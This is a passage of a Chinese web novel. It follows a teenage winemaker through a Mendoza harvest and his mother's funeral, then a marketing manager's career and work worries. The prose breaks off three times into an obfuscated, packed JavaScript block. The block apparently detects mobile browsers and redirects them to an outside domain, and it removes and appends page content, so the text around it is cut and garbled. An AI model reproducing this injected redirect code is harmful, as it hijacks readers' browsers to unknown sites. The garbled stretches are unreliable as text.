『在你刚出生之后不久,Iván。她就邀请我到中国去探望她,她想让我见见你,也想要我参观一下她的新酒庄。我不敢去,所以我拒绝了她。我是真的很害怕,Iván,我害怕看到她在事业上大获成功,因为这会让我觉得自己果然不是应该继承家业的那个人。我真的害怕。』 『再后来的那些年,她每隔几个月就会给我写一封电子邮件。有的时候会附上你的照片,有时候则是她的葡萄园的照片。那时候我虽然还没有去过中国,但我一直都知道,她正致力于酿出最好的酒,就像她年轻的时候所说的那样。』 『但是,Iván,你妈妈她在做的事,和我们在这里做的事情,这并不一样。』 同样是酿造葡萄酒,酒庄、酒商与小酿酒坊,大家在做的事情都不一样。这么简单的道理,岳一宛当然知道。 一般而言,酒庄必须拥有自己的葡萄园,通过极其精细的耕种来确保葡萄酒的品质能够臻于完美。而酒商的生产规模则更大,他们以机械化的方式来大面积种植葡萄,同时也大量地从种植户手中收购葡萄,如此才能让数十上百万瓶的葡萄酒如期走下流水线。 在过去,家庭式的小酿酒坊也都多多少少地曾拥有过属于自己的葡萄田地块。但在行业巨鳄们的挤兑和多次金融危机的冲击下,一些小酒坊选择了关门卖地彻底退出,而侥幸活下来的那些也都只是挣扎在生存线上:他们必须严格控制自己的生产成本,并尽快地把每年新产出的酒水脱手卖出,才能勉强维持住一家的生计…… 『你认为我妈妈的工作是‘更简单’的那一种,是吗?因为她只需要酿酒就好,完全不需要考虑销售与市场一类的问题,剩余事情都有雇佣来的员工去为她完成?』 十六岁的少年人,还正是会将心中的怀疑直接脱口而出的年纪。 『不要解释了,』冷哼一声,岳一宛扭过头去:『你不是第一个这么想的人,我爷爷也常这么说。』 『什么?不!我当然不这么想!』舅舅猛得向左打起方向盘,刚才光顾着说话,他们差点错过了该拐弯的路口。 『……对不起,其实,我确实是这么想过的。』 好一会儿之后,他无不歉疚地重又改口道。 『因为我嫉妒她吧,大概。但是我又不敢对自己承认这点,就像……就像我常常想把家里的酒庄交给她,但又不敢对老头子说‘不’一样。』 狭窄的小路两旁,半人高的葡萄藤并排成行,疏阔有致地生长在各自的田块里。自由的晴风正在田间雀跃着穿梭,这股淡金色的微风吹拂所至之处,手掌似的翠绿叶片们也摇头晃脑着发出了簌簌细语。 『我们别这个了,Iván。Ines的工作是怎样的,她有多了不起,这点我想你应该比我更加清楚,所以……唉,我们不说这个了,好吗?对不起。』 『我想说的是,之前那个关于赤霞珠的问题,其实你说的都对。』舅舅道,『我们的马尔贝克品质不够好,它经不起陈年。如果加入赤霞珠来混酿的话,确实可以让它再度拥有陈年的能力。你说的没错,这很正确。』 他看向岳一宛,风霜遍布的脸上有着一道道因常年操劳而衰老的皱纹。 『但这不是我们这样的小酒坊能够去思考的问题。』他说,『当我们得到一瓶难得好酒的时候,我们或许会把它珍藏起来,留到婚礼之类的重要的时刻再打开,对吧?但谁会去珍藏一瓶只卖二十比索的葡萄酒呢?』 太阳完全升起来的瞬间,他们从车上下来,迈步走向面前的这片葡萄园。 『你觉得,最经常购买我们家酒的都是些什么人,Iván?我不知道,反正绝对不会是那些有恒温酒柜与地下酒窖的收藏家。这些便宜又普通的家庭酿造葡萄酒,买下它的,应该都是那些路过商店时随便就拎了一瓶酒回家喝的人。』 『身为酿酒师,我自己都不会去给一瓶只要二十比索的葡萄酒寻找恒温恒湿的陈年环境,所以我的客人们更加不会这么做。从他们的角度来看,这些酒是否具备陈年能力,这事根本不重要。』 『重要的是,Iván,它必须得是一瓶好喝的酒。哪怕它只卖二十比索,为了我们身为酿酒师的尊严,这也得是一瓶好喝的酒。』 那天的收购进行得出奇顺利,这批赤霞珠葡萄最终是被他们稳妥地收入了囊中。 采摘葡萄的时候,岳一宛也走到田里摘了两颗尝尝。 就像教科书里写的那样,赤霞珠的酸度极高。葡萄果实于唇齿间爆裂的刹那,那股扑面而来的酸味,简直就是人的脑子里发出了一声高亢尖锐的鸣叫。 强忍住把这玩意儿立刻吐掉的冲掉,岳一宛小心地咀嚼着嘴里的这一枚赤霞珠:它的颗粒比市面上贩售的水果葡萄要小得多,果皮也非常厚,不算多汁的果肉更是毫无鲜润美妙的口感可言,咬起来甚至还有点费劲儿。 除了果味的甜与明亮的酸之外,岳一宛还能在口腔里感觉到明显的涩麻感。他知道,这种颇具分量的、好似有什么东西沉甸甸地压在味蕾上的感觉,是葡萄皮与葡萄核里的单宁在作祟。他咀嚼得越用力,葡萄皮与葡萄核所释放出的单宁物质就越多,苦涩的感觉就越发鲜明。 这批赤霞珠的单宁含量非常高。 岳一宛迅速在心里做起了速记:而且这些单宁质感极为粗糙,和马尔贝克那圆融的单宁质感完全不同。在给赤霞珠的葡萄皮与葡萄核做萃取的时候,或许就需要注意到这一点…… 好喝的酒。他想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504485|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果要做出好喝的酒,如果是我来做酿酒师的话——我要怎样酿造赤霞珠呢? 是的,这些赤霞珠应该成为加入到马尔贝克中的那个“点睛之笔”。可什么才是点睛之笔?足够醒目的酸?足够强壮的涩? 最重要的是——这样会好喝吗? 『小子,你在想些什么?』 完成了收购的舅舅走到他身边,好奇地看着自家外甥那张正皱成苦瓜的脸:『我知道,我知道,这些赤霞珠的品质虽然可能比不上你妈妈田里的那些,但也不至于让你露出这么嫌弃的表情吧!』 『有水吗?』岳一宛着急忙慌地伸出手,嘴里还在嘶嘶哈哈地不停吸气:『这葡萄籽,还有葡萄皮——嘶!我感觉我的舌头要掉了!』 有了这批赤霞珠做定心丸,接下来的日子就像眨眼般飞快。 收获季结束,他们不再需要早早地爬起来运送葡萄。但岳一宛的生物钟却就这样固定了下来:早起,洗漱,吃饭,清洗设备,清理场地,维护设备,吃饭,午休,检查罐子里的发酵情况,品尝发酵液,试图寻找出发酵进度过快或过慢的原因,记录工作日志,最后一次全场检查,晚饭,散步,看书,睡觉。 表哥和表姐有问过他要不要去布宜诺斯艾利斯玩,『Iván!你都要被葡萄腌入味儿了!』他们说,『既然来了阿根廷,至少也来和我们一起去几场探戈舞会吧!』 他与Martina跟着两位年长的表亲一起去了几次,别人在沙龙里纵情舞蹈,他却在站在吧台边上研究舞会里提供的免费葡萄酒:这瓶具有典型的波尔多风格,那瓶绝对是西拉葡萄的混酿……嘿!你们下次开舞会的时候会有马尔贝克与赤霞珠的混酿吗? 『我看你这人算是彻底完蛋了。』 Martina摇着头评价道,『你知道今晚有多少人在冲你使眼色吗,老兄?这里是阿根廷!邀请别人跳舞是需要用眼神来进行暗示的!可你甚至都不抬起头来看人,这算是怎么一回事儿?你难道是想和葡萄结婚?』 她现在是真的开始担心这人会因为丧母之痛而精神失常了,但岳一宛却答得牛头不对马嘴:『我们中有人年满十八岁了吗?』 他敲了敲驾驶座,怀里还抱着一只没人要的空酒瓶:『去买酒吗?布宜诺斯艾利斯的哪些商店有品种最多的葡萄酒卖?』 『我看,那些想和Iván跳舞的人,都得先在头上顶个红酒瓶才能与他搭得上话。』同车的青少年们嘻嘻哈哈地取笑他,『天哪,Iván!或许你的血管里流淌的根本不是阿根廷与中国的血统,而是百分百不掺水的葡萄酒吗?』 被点名的人正忙着在手机上寻找当地的葡萄酒商店,闻言只慢条斯理的冷冷扫去一眼,『这就是你能想到的最聪明的俏皮话?呵,我在花鸟市场上随便找只鹦鹉都能比你表现得更好。笨嘴拙舌,或许这就是你被女朋友给甩了的原因吧,我猜。』 你们干吗就非得要招惹一个正处于狂热状态中的岳一宛呢?Martina表示,如果是打赌输了而非得选一样不可的话,比起直面此人火力全开的毒舌扫射,她宁可选择生吞红酒瓶的碎片。 五月底,岳一宛的第一个榨季正式宣告结束。 结束了发酵过程的葡萄酒,被装进大橡木桶里进行陈酿,酿酒师的工作也暂时告一段落。等到三个月之后,陈酿过程结束,才会轮到混酿与装瓶工序的登场。 但岳一宛已经无法再在这里继续待上三个月了。 『我得回去拿我的高中毕业证,去大学报道的时候要用。』他对Martina解释,『然后我还得申请学生签证,找宿舍,收拾行李,去银行开外币账户,兑换欧元现金,有很多很多事情要做。』 Martina从他手底下抢走了桌上的最后一块巧克力蛋糕:『所以你是没法儿尝试你的那些混酿小点子了,更别提第一个喝到自己亲手酿造的酒。唉,真是为你感到遗憾!』 『我以后还会有很多很多个榨季。』岳一宛冷笑:『今年的机会就暂且让给你。』 他俩正在进行不知第几轮的唇枪舌战,舅舅捧着一只覆盖着黑布的小木盒子走过来。 『Iván。』他的语气是前所未有的庄重,『下周日,我们要在这里给Ines办个小小的葬礼。你……你有什么想法吗?』 岳一宛没有任何想法。他不知道自己应该有什么想法。 六月的第一个星期日,Ines的一小部分骨灰被安葬在了小教堂旁边的墓地里。 这里距离她的家族墓地很远,却离她自幼长大的那片葡萄园很近。 那是一个晴朗的午后,北半球即将迎来花木繁盛的夏日。但在地处南半球的门多萨,丰收的季节之后,人们正缓步走进寒冷的冬季。 身穿黑色正装的人们神情肃穆地聚集在小教堂门前,排着长队,向Ines的遗像献上花束。这些人的面孔岳一宛分明一个都不认识,只能靠站在边上的舅妈低声做解说:这是以前住在我们家附近的邻居一家,那个是Ines的儿时玩伴,旁边的是Ines的中学老师…… 『Ines,我的女儿,我代她谢谢在场的你们,谢谢你们今日特地前来送她最后一程。』 在Martina的搀扶下,外祖母颤巍巍地向到场的亲朋邻里们致谢。 『Ines,在她离家之前,曾经为我留下了一份礼物。当时的我没有舍得打开,因为我总以为她只是一时负气,总归还是会回到我身边来的……一转眼,距离她离开我,离开门多萨,已经过去了二十多年。如今,在这个永远地与她告别的日子里,我想我也是时候打开她当年留给我的这份礼物了。』 与几个自愿帮忙的青壮男人们一起,岳一宛的舅舅从皮卡车上搬下了足足十几箱葡萄酒。 『这是Ines去念大学之前,与她哥哥一起酿造的最后一批酒。虽然说是与她的哥哥一起……但我一直知道,她才是这个家里最有才华的酿酒师,在那几年里,负责精准调配混酿比例的人,始终都是Ines。』 从箱子里拿出那些酒瓶,外祖母不容拒绝地将它们递进在场的每一个人手里。 『来吧,各位,一起喝吧!在它们被浪费掉之前,举杯吧!为了Ines!』 随着众人一起,岳一宛打开了手里的这瓶酒。 隔着二十余年的光阴,瓶中的马尔贝克葡萄依然柔情如初,且仍坚韧地保留有它那歌谣般甘美的滋味。 而在这摇曳酒液的最深处,被岁月打磨掉了粗糙边棱,却又在这番日复一日的磨砺与沉淀中重新长出匀亭坚硬的筋骨,并自始至终都以钻石般闪耀明亮的音色,永不止息地引吭高歌着的,是他最最熟悉的赤霞珠。 27.今夜无眠 “所以,混酿的基本原则可以总结为:在相似性上做叠加,或是在差异性上做互补?” 好学生杭帆从故事里提炼出了一些知识:“用马尔贝克与赤霞珠做混酿,就是要用赤霞珠酸度锐利且单宁粗壮的特点,来弥补马尔贝克过分柔和平庸的缺点,对吗?” “完全正确!” 岳一宛呱唧呱唧地鼓起了掌,仿佛是短视频里那些为小猫学会翻跟斗而热情捧场的饲主。 “不错嘛年轻人,我看你资质聪颖根骨奇佳,不如现在就拜入为师门下,做我的关门入室弟子如何?” 煞有介事地,他轻声细语地凑到了杭帆边上咬耳朵:“等到四十年后,出版商邀我写回忆录,我就在书里封你为我的开山大弟子!” 杭总监一心只想着要把这些新知识都巧妙融入到工作里去——变成当红爆款文案!变成闪亮亮的KPI!变成百分之五十的购买转化率!变!给我变啊!——嘴上只对岳大师极尽敷衍之能事:“嗯嗯嗯,好好好。” 他一边说,还一边跟哄小孩儿似的拍了拍旁边这人的腿,“你想什么就是什么,好吧?我都行,都可以。” 但岳大师对此却并不买账。 “爱徒,你莫不是在糊弄为师?”他还痛心疾首地啧啧斥诉起来了:“唉,现在的年轻人啊……尊师重道,明不明白?我看你这治学态度就大有问题!” 放任这人在边上尽情做怪,治学严谨的小杭总监独自沉吟了半晌,终于又开口道:“虽然概念上好像可以理解,但是……作为对味觉的描述,还是觉得有些太抽象了。” “斯芸酒庄的葡萄园里,也种了赤霞珠吗?”他问。 说到专业相关的话题,岳一宛立刻肃正了神色。 “是的,”他点头,“赤霞珠号称是红品种酿酒葡萄之王,在几乎所有的葡萄酒产区中,它都占有霸权级的重要地位。斯芸酒庄当然也不例外。” 岳一宛掰着手指数给杭帆听:“在斯芸,按照种植面积从多到少排列,我们主要栽植有这五个红色品种葡萄:赤霞珠,品丽珠,马瑟兰,梅洛,西拉。” “在中国的各大葡萄酒产区,赤霞珠都有着强劲亮眼的表现。”岳一宛说,“虽说作为酿酒师,我总归是想要在品种选择方面做一些差异化的选择吧……但为了产能与风味的稳定,每次选择增加种植的品种时候,首选依然还是赤霞珠。” 提起斯芸酒庄在种植品种上的选择,岳大师又开始了他的幽怨碎碎念:“但话又说回去了,新品种也是新挑战嘛,尝试一下新鲜玩意儿又有什么不好?看看隔壁酒庄!人家在种皮诺塔吉诶!他们能种我们怎么就不能种了,总得试一试吧?反正我们也有实验地块,拿去种什么蛇龙珠不如拿来给我种点好玩儿的少见品种啊,啧!真是想起来就生气……!” “所以,斯芸没有做过马尔贝克与赤霞珠的混酿吗?” 杭帆谨慎问道。 他以为,对岳一宛而言,这应是一种具有深刻意义的混酿方式。 在怨念的深渊面前来了个紧急大刹车,岳一宛抬头看他。 “我很想。” 斯芸的首席酿酒师诚恳地回答道,“但斯芸酒庄所在的蓬莱产区,并不具备种植马尔贝克的自然条件。” 农业是人对自然的征服,却也同样是自然对人的教育。以其特有的气候与风土条件,蓬莱选择了赤霞珠,而非马尔贝克。 “但确实,空口白牙地描述风味这件事,还是太抽象了点。” 岳大师摸着下巴,若有所思:“纸上得来终觉浅,要是说起赤霞珠的风味,还是得让你尝一尝它的单酿才行。” “你不会想在飞机上再点一杯赤霞珠吧?”杭帆提醒他,“我们已经快要降落了哦?机上的送餐服务都已经停止了。” 岳一宛脸上却只是露出了一抹神秘莫测的微笑。 “说什么话呢杭总监?您可别再惦记着飞机上的这些水货了。” 丢开了手里的酒单,岳大师潇洒表示:“我们可是来参加糖酒会的。什么样酒喝不到?” “就算你对酒一窍不通,喝完一圈出来,也定能大长见识!” 岳大师打的包票要到明天展会开始后才能兑现。而当航班降落在天府机场第二航站楼的时候,某位对机上餐食不屑一顾的酿酒师,嘴里已叽里咕噜着开始抱怨说自己快要饿到眼花。 与此同时,社畜经验老辣的杭总监正一边解开自己座位上的安全带,一边熟练地从口袋里摸出了几片巧克力递过去。 “一点保命金丹,权当是徒儿的孝心。”坐在靠窗位置的杭帆,还好声好气地和他打着商量:“还有,岳大师,能麻烦您不要像尸体一样横在椅子上不动吗?我还要拿行李架上的包。” 岳一宛把巧克力丢进嘴里,两腿一伸,拦路拦得更加神清气爽。 “想过去?”众目睽睽之下,也亏得他能说出那么无耻的发言:“求我呀,杭总监,求我就放你过去。” 好人不与狗斗。 杭帆冷冷瞥他一眼,抬腿就从这厮身上跨了过去。 “古有淮阴侯俯受胯下之辱,今有岳大师竭力自取其辱。”杭总监语气淡淡:“真真是奇也怪哉!” 懒洋洋地跟在他身后站起身来的岳一宛只是放声大笑。 从天府机场到成都市区,普普通通的一段机场高速,硬是熬出了人活一辈子的长度。岳一宛瘫坐在出租车后座上,宣称说这车要是再得开慢点,他怕是就要顺着机场的天府大道直接滑入地府。 而终于连上网的杭总监,则火速打开了手机上的各种app,仔细认真地检视起斯芸酒庄各个账号的今日浏览数据——从后视镜中看去,其人面色之凝重,神情之沉痛,简直就像是全副身家都在股市里被套牢了一样。 “数据这么难看吗?” 也许是杭帆头顶阴云密布的气氛实在太过凄惨,连岳一宛都有些小心翼翼起来:“呃……杭帆,你没事吧?” 我没事。杭帆用力闭了下眼。 我没事。他对自己说。我会有办法的。 我一定会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为Antonio他们是外国人吧。” 杭帆听见自己的声音,流畅得没有任何的打顿,就好像早在岳一宛提问之前,早在来斯芸之前,他就已经无数次地因为这种或那种过于明显差别的待遇而在心中问过自己——为什么? “只要是外籍员工,差旅待遇都会更好。”他说,“虽然公司里没有这样的明文规定,但执行起来就是这样的。” 有时候他真痛恨自己,为什么总能如此平淡轻易地容忍这些发生在自己身上的不公平。那些扭曲又愚蠢而不公正细节诚然令人愤怒,可这个总是先一步就决定忍让的、总能够为这些事情寻找到“客观借口”的自己,似乎才是最令杭帆感到失望的那个。 “我到了。” 电梯门打开的瞬间,杭帆大踏步地从岳一宛的面前逃了出去。 今夜,他摇摇欲坠的自尊心急需一些喘息的空间。 “晚安。” 28.何日方知我非我 杭帆刷开房门后的第一件事,是将背包中的电脑与平板在桌上一字铺开。在今天结束之前,他觉得自己还能再在工作上稍微挣扎一下。 十点半,杭帆点开了笔记本电脑上的表格文件,将最近几天的后台数据变化逐一填入进表格里。 ——这有用吗? 在表格里记录变化趋势与分析时,他听见自己在心里反问。 ——我在这里做这些记录与分析,是因为它真的会有用,还是因为我作不出真正能够扭转局面的内容,所以只能通过做这些机械又琐碎的事情,来缓解自己因无能为力而产生焦虑? 杭总监在心里用力踢了那个喋喋不休的自己一脚,试图把这个质疑的声音摒弃于脑后。 “我总得做点什么吧!”他大声地对自己说道,“人活着总不能坐以待毙啊!你还有房贷没还完呢杭帆!” 在新媒体运营人员看来,各大平台的账号后台数据,不仅是业务成绩的直接体现,也是一种被量化的焦虑。 “数据涨了就说明内容做得好,数据跌了就说明内容让人失望”——在最理想的情况下,数据应该就是内容质量的客观体现。可世事从不会如此地“客观”与“理想”。 互联网的世界充满了变化与意外,身处其中就譬如溺水,人们奋力挣扎,只是为了不被下一个浪头淹没。 十八岁的时候,从一介做兼职打零工的实习生开始,杭帆进入到了这个行业里。 那一年,中文世界中最具声量的社交平台尚且只有新浪微博一家,以初生牛犊不怕虎的莽撞与激情,拿着每月八百块实习工资的杭帆,充当起了某国产日化品牌的“官博皮下”。 第一年的伊始,这个账号只有三十六个关注者(其中两个分别是杭帆与白洋各自的小号)。 十八岁的杭帆肆无忌惮地用这账号激情冲浪:影帝影后在微博上隔空对骂?他开着官号与吃瓜网友们同坐前排看戏。大牌护肤品的代言人被爆出轨?他用官号转发八卦,嘻嘻哈哈地对路过的网友卖萌说要不要来看看我们家的平替晚霜呢,没有代言人,老牌国货,99元两支装,买不了上当买不了吃亏,您就来试一试嘛!在死忠粉与正义路人的互殴混战中,他还伸出头去劝架说,别打啦别打啦,我刚跟领导申请到了几支试用装,做个抽奖送你们如何?就当尝个新鲜! 白洋在评论区说:黑箱我。 杭帆也切了自己的小号凑热闹:别黑箱他,抽我! 第二年,账号的关注者涨到两千四百多,杭帆每月的兼职薪水也增加了五百块。 五百块,这对十九岁的杭帆而言可不是一笔小钱。他诚惶诚恐地看着打进自己银行户头里的钱,实是不明白自己到底做对了什么——只不过是用官号转发了一些好笑的东西,又做了几次小型抽奖而已,网友到底是为了什么而来关注这个账号的?他们到底想要在这个账号上继续看到什么呢?杭帆百思不得其解,战战兢兢地敲下涨工资之后的第一条微博内容:领导让我不要光顾着吃瓜,也多卖卖货,那你们对什么类型的商品感兴趣啊? 那条内容无人转发,而评论区的第一条是:没听说过这个牌子,做仿品的吧?取关了。 杭帆一秒切回自己的小号,抄起键盘就是一通输出:哈?你听都没听说过,就开始胡乱造谣别人卖假货?这是诽谤罪你知不知道!说你傻逼都玷污了傻逼两字儿,给爷爬! 网友的一句无心发言,让杭帆在宿舍床上翻来覆去地睡不好。大半夜里,他气势汹汹地爬起来,抄起笔记本电脑下载做图软件,又从公司简陋的淘宝官店里扒下了全部产品图。几个小时之后,他把做好的长图往微博上一贴,热情洋溢地吆喝着:洗衣粉,肥皂,护肤品!你想要的应有尽有,走过路过不要错过啦! 有路过的网友嘲笑他的图做得太简陋,也有人吐槽说这都是奶奶那个年代的人才会用的牌子。某位网红博主路过,随手一转,淡淡感慨说这些包装都是我们这代人的童年记忆。 下午的课结束后,杭帆回到电脑前,发现自己大清早发出去的那条微博已经有了五百多转,而那家一连几个月都没开张过的淘宝店里,更是突然多出了十六个订单。 领导夸他做得不错,在对话框里发了个五十块的小红包过来。杭帆立刻截下了这张图,欢天喜地地发给白洋看:瞧瞧,兄弟最近发大财了!今晚请你去小炒窗口吃顿好的! 那年的母亲节,他在微信上给杭艳玲包了五千块的红包。杭艳玲没收,反倒叮嘱他把钱存进银行里,平日也要省着点花。 时间进入到第三年,杭帆的做图技术进步神速,甚至还为此而学会了一些最基础的摄影技能。 他从隔壁寝室的同学那里借到了一台单反(那是杭帆第一次摸到这么高级的相机,拿到手之后,他几乎是不吃不喝地研究了足足一整天),坐了两个多小时的地铁才终于赶到了那家日化企业的办公楼下。 这是一家老字号的日化工厂,几十年前做国企的那会儿也曾风光无两。转改为民营之后,却因为来不及跟上时代新风的脚步,愈发显现出了颓败衰老之势——现如今,工厂的厂房带地皮都已卖掉了一大半,所谓的办公楼也只不过是在老厂房里临时搭出了几个小隔间而已。 可这些凋敝景象,却进入不到年仅二十岁的杭帆眼中。他背着借来的单反相机,竖起速写本,小心翼翼地按照涂鸦草图上的示意,搭建起了一个个小型置景。 他在工厂外的水泥空地上摆好了洗衣盆,又把从宿管阿姨处借来的搓衣板给架了上去:「我可以说实话吗领导?这牌子的洗衣粉,我们学校附近的超市里根本就见不到……咱们的铺货渠道也太不给力了!所以我觉得,要指望大家在买洗衣服的时候突然就想到咱们,这属实不太现实。」 「要我说,我们应该把宣传的重点放在‘怀旧’上。」 照着回忆里妈妈做家务时的样子,杭帆把洗衣粉调兑进水里,往盆里扔进一件衬衫,又用打泡网搓出了一大堆泡泡挂在塑料盆边上,权且营造出一种正在洗衣服的氛围(在进入大学之后才学会用洗衣机的杭帆眼里,搓衣板这题还是太超纲了)。 「依我看,网友们既然会为了怀旧而去买父母那一辈用过的雪花膏,那为了怀旧而买点老字号品牌的洗衣粉,回忆一下童年的气味,这也很说得通吧!」 只一会儿工夫,那些搓出的洗衣粉泡沫就会瘪下去。杭帆拿起相机抓拍几张,又赶紧放下相机重新搓泡泡,只恨自己为何不能长出三头六臂:「试一试嘛,试一试总又没有坏处的咯!」 那位“领导”当年也才不到四十岁,正是想要谋求一番事业的年纪。面对杭帆这种全身上下都迸溅着工作热情的打工大学生,他当然不介意让对方放开手脚去尝试各种稀奇古怪的想法——连拍摄用的搓衣板和洗衣盆都是杭帆自己去借到的,又不用花他们厂里的一分钱,何乐而不为! 「我还下了九十年代的几部经典电视剧,把里面几个洗衣服的镜头都截屏了,刚好可以做成表情包在网上用。」 那会儿正是期末考试前的最后一个周末,隆冬季节,杭帆的十指都因为反复浸水而冻得发红。为了让手指不至于因冻僵而摁不下快门,他时不时地都要把手插回放有暖手贴的外套口袋里。 「照片姑且算是拍完啦。等我考完试就把这些图都修出来。春节假期嘛,全家团圆,正是可以贩卖一些‘怀旧’情绪的好时候!」 虽然这只是一份月薪两千块出头兼职,但杭帆全心全意的投入与热忱,就仿佛他已被钦定为这家企业的继承人似的。 「还有还有,给淘宝店那边也说一声吧领导,订单处理太慢啦,天天都有人跟我告状呢!」 到了第四年,杭帆手上的官博账号悄然突破了五万粉丝的大关。 有些人是为了不定期的转发抽奖而来,也有些人因为那些老电视剧表情包而来的,还有些人是想为自己或长辈购买一些饱含回忆的家化用品。 评论区里,一位参加了购物节半价折扣活动的买家写下repo。 「家母已经去世十多年了。十多年里,我买过她以前用过的各种面霜、洗头膏与花露水,但没有哪一样物品的味道像她。我好恨自己,恨自己是个无情又无用的女儿,恨自己为什么要在她生病的时候接受外派出国的工作,又为什么在她被推进ICU的时候不能第一时间赶回到她的身边。我再也不能被她抱在怀里了,再也闻不到童年里那个让我安心的味道,是因为妈妈也想要惩罚我吗?」 「但现在我终于知道了,妈妈身上那股好闻的味道,是洗衣粉与阳光的味道,我终于又重新找到了她。妈妈,这是不是说明,你现在终于原谅我了呀?」 盯着屏幕里这一小段话,杭帆久久地沉默不语。 终于,他点开和杭艳玲的对话框,修修改改,删删减减,最后只发出一句:妈,我六级考过了。你最近都还好吧? 杭艳玲发了两千块的红包过来,附带一串微笑的表情符号,让杭帆拿去吃点好的,买几件新衣服。 「我都好啊,我能有什么不好的?要是你毕业之后要是带着女朋友一起回家里,那我就好得不能更好了!」她的嗓音较平常要沙哑,大约是感冒了:「小宝啊,我问你,你要不要考研究生呀?我听人家说,现在工作不好找,找了也都不是什么好工作,要读个研究生出来才能找到好工作,是这样的吧?」 杭帆并不爱听她说这些话。 早在十四五岁的时候,他就已经意识到自己喜欢男人,交女朋友是绝无可能之事。他尽力地想要去成为一个能让杭艳玲骄傲的好儿子与好学生,但唯独在这件事上,他注定是要让她失望的了。 但是,尽管这是一份注定要降临的失望,他还是希望它能来得晚一点,再晚一点,更晚一点。 「我哪有空去交女朋友啊,妈。我要上学,还要打工,忙得都快要死了。」他打太极式地推开了恋爱相关的话题,「至于研究生……妈,我好像,嗯,我快要找到工作了,应该不会再继续念书了。」 向妈妈发这条语音的时候,他几乎是无意识地再次点开了自己的电子邮箱。一封还未被回复的邮件静静地躺在那里。 『××官博的皮下君,您好!我们已经偷偷关注××官博的账号好久啦!请容许我们先做一下自我介绍,我们是一个致力于国产香薰研发的创业团队,目前正在……』 「什么叫快要找到工作了?是找到了还是没找到呀?」 杭艳玲在语音里敲打他,「小伙子,别以为我不知道你的那些小心思!你别是不爱听妈妈跟你讲这些事情,所以编瞎话来敷衍我吧?你都找到什么工作了,说来听听,别是之前提起过的那家工厂吧?」 她的音色清脆,字里行间却又难掩对自家孩子未来的忧虑:「他们不是说,如果你转正的话,每个月也只能你开四千吗?四千,这还是扣掉五险一金之前的数字!上海的物价我可是知道的,四千块,实在是太少了哎!你离校之后不还要租房子住呢?四千块你要怎么活下去哦?」 杭帆的视线移向了邮件里的最后一段。 『所以,我们想要寻找一位合适的小伙伴,来帮助品牌更好地运营社交平台。在这段充满挑战的道路上,做为我们的合作伙伴,我们愿意为您提供……』 「妈,不是之前的那个厂里。」他说,「我已经和那边说清楚了,春节之后,我的兼职就结束了。我现在是真的有一份工作要去谈。他们开的报酬还不错,商量得好的话甚至还可以再高点。」 几分钟之后,杭艳玲才重又发来语音:「你没在哄我吧,小宝?」她似乎有些犹豫,但更多的是担心:「我知道,现在的工作都不好找。你要是想继续念书的话,妈妈一定是支持你的。我们家里虽然条件一般,但再供你念两年的书还是供得起的。你可千万别逞强哦?没去找那种不正规的工作吧?」 杭帆失笑,他已经开始构思回复邮件的内容了。 『欢迎与我们当面洽谈!期待听到您的回复。』 那封邮件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“闻乡”品牌方表示,希望杭帆能够在社交媒体上着重强调这支茉莉花香水“逼真如画般的还原”,“一万朵最优质的茉莉,才能变成你手里的一支香水”。 「可甲方爸爸又非得说这只是一个日常宣发用的小视频,连多一万的预算都不愿意给!」 为了省钱,二十二岁的杭帆可以直接睡在车后座上:「归根结底是因为没钱啊,白小洋同志!打包价三十万,最后落到我自己口袋里也就十五万不到一点。我要是不拼命开发自己的潜能,自己学会修图剪视频,自己上山入海地去替他们整出这些花活儿来,我要拿什么去发微博!总不能天天只发文字吧?咱们这可是身在读图时代了!」 「怎么,你拿手的谐音梗和表情包现在都不管用了?」白洋嘲笑他,「你以前不是很爱发这些东西的吗?」 杭帆闭上眼睛装死:「品牌调性,懂不?」他哼哼唧唧地道:「这是金主爸爸的命令,他们禁止我再整那些沙雕烂活儿。‘高级优雅的中产主义趣味’,这是金主爸爸对自己的描述。」 「懂,懂。」白洋嗤笑,「不就是装×嘛,懂的都懂。」 从二十二岁那年开始,杭帆独自踏过山川,驶过平原,跨越河流,在文案里追溯繁复香料的由来与历史,又用图片和视频裁剪出一段段日月风光——香气或许飘忽而不可琢磨,但对于美好事物的憧憬与向往,却理所当然地能被全人类共同理解。 在极其有限的预算里,在整整四年的殚精竭虑中,通过数千条微博与上百篇公众号文章,杭帆成功地为“闻乡”塑造出了既深邃又知性的品牌形象。 而“闻乡”也确实赶上了国货崛起的好时代——四年之中,他们从满地出岔子的初创小团队,变成了一个进行过三轮大型融资的新兴品牌。除了杭帆之外,品牌也逐渐组建起了自己的市场营销部门,频频向网红博主、地铁站、报刊杂志与流媒体平台上投放更多更大型的广告。 回想起来,那似乎这个行业最后的黄金时代——在那时候,人们似乎坚信,只要你愿意投入时间、经历与金钱,只要你的创意足够惊人、有趣和诚恳,这些包装精美的广告宣传就一定会起到它的效果。 在杭帆初入行的那几年里,这理念或许不无道理:四十年的经济腾飞,令人们拥有空前绝后的乐观主义与消费精神,人人都勇于尝试新鲜产品,什么样稀奇古怪的东西都可能受到大家的追捧…… 可是,只不过是短短数年时间,游戏规则就已被彻底翻覆。微博营销业已式微,如今正是抖音与小红书的天下。 “我现在真的很难判断,到底是这些内容确实没人看,还是平台的算法与推流在暗害我。” 表格里那些数据记录,简直比北极大陆上那些冻硬了的尸体更加冰冷。杭帆心中焦虑,食指与中指交替不停地反复敲打着回车键。 